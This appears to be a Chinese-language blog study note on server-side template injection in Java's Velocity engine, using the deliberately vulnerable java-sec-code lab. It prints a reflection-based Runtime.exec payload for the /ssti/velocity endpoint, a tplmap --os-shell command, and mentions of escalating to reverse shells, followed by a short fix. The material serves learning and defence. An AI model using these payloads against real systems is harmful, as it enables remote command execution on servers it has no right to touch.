前言

项目是java-sec-code:https://github.com/JoyChou93/java-sec-code

SSTI,又称作模板注入,之前接触过python中flask的ssti模板注入,最终能达到rce,不过实战中比较少吧,php中比如smarty也会有相应的ssti模板注入。刚好今天来学习下java下的ssti。

0x01 从java代码出发

进入controller文件

/src/main/java/org/joychou/controller/SSTI.java

图片

发现java使用的是Velocity来进行渲染模板,Velocity是一个基于java的模板引擎,样例上说明,即使是最新版本的Velocity,如果使用evaluate来进行渲染模板,仍然会有此漏洞。

简单分析下代码:

28行初始化Velocity

30行创建一个存放Velocity内容的对象

32、33、34行通过键值对的方式添加内容

36行创建一个StringWrite对象,在字符串缓冲区中收集输出的字符流。

37行使用Velocity.evaluate方法

当用户可以指定模板时,也就是evaluate中模板可控,可造成rce。通过设置一个字符串,然后通过获取字符串的类去寻找Runtime类,再去寻找getRuntime反射方法达到命令执行。

java反射机制达到命令执行:

图片

1
2
3
4
5
6
7
8
9
10
11
12
13


public class test_class {
public static void main(String[] args) throws Exception{
String test = "e";
test.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(
String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(
String.class.getClass().forName("java.lang.Runtime")
),new String[]{"calc.exe"}
);
}
}

payload

1
velocity?template=%23set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")

注意:上面的%23并不能直接url解码换成#
即可在windows上弹出计算器,测试其他命令均可执行,只不过没有相应的回显。

图片

组合拳:在linux上可以考虑反弹bash、windows上可以考虑远程下载程序执行或者用powershell来反弹shell。

常用工具

使用https://github.com/epinna/tplmap 工具进行SSTI,一般常见没有过滤的SSTI都能使用。

1
2
git clone https://github.com/epinna/tplmap
python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'

0x02 修复

不使用evaluate方法(也不常见)。

参考:

java反射rce:http://rui0.cn/archives/1015

官方文档: https://github.com/JoyChou93/java-sec-code/wiki/SSTI